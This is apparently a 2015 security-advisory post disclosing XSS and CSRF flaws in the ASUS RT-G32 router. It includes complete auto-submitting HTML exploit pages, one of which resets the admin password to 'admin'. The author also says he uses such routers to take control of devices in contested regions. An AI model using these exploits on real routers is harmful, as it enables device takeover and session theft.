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  Уязвимости безопасности в ASUS RT-G32

From:MustLive <mustlive_(at)_websecurity.com.ua>
Date:25 октября 2015 г.
Subject:XSS and CSRF vulnerabilities in ASUS RT-G32


Hello 3APA3A!

There are Cross-Site Scripting and Cross-Site Request Forgery vulnerabilities in ASUS Wireless Router RT-G32.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: ASUS RT-G32 with different versions of firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and 2.0.3.2.

Since Asus ignored vulnerabilities in their notebook, which I sent them in 2009, and previous vulnerabilities in RT-G32, which I sent them this year, so I publish these vulnerabilities publicly.

----------
Details:
----------

Cross-Site Scripting (WASC-08):

ASUS RT-G32 XSS-2.html

<html>
<head>
<title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="current_page" value="javascript:alert(document.cookie)">
</form>
</body>
</html>

ASUS RT-G32 XSS-3.html

<html>
<head>
<title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="next_page" value="javascript:alert(document.cookie)">
</form>
</body>
</html>

Cross-Site Request Forgery (WASC-09):

CSRF vulnerability allows to change different settings of device. As I showed in this exploit (post-auth).

ASUS RT-G32 CSRF-2.html

<html>
<head>
<title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="sid_list" value="LANHostConfig%3BGeneral%3B">
<input type="hidden" name="group_id" value="">
<input type="hidden" name="modified" value="0">
<input type="hidden" name="action_mode" value="+Apply+">
<input type="hidden" name="wl_ssid2" value="Hacked">
<input type="hidden" name="http_passwd" value="admin">
<input type="hidden" name="http_passwd2" value="admin">
<input type="hidden" name="v_password2" value="admin">
<input type="hidden" name="log_ipaddr" value="">
<input type="hidden" name="time_zone" value="MST-3MDT">
<input type="hidden" name="ntp_server0" value="pool.ntp.org">
</form>
</body>
</html>

I found this and other routers since summer to take control over terrorists in Crimea, Donetsk and Lugansks regions of Ukraine. Read about it in the list (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-Ap
ril/009090.html
).

I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7671/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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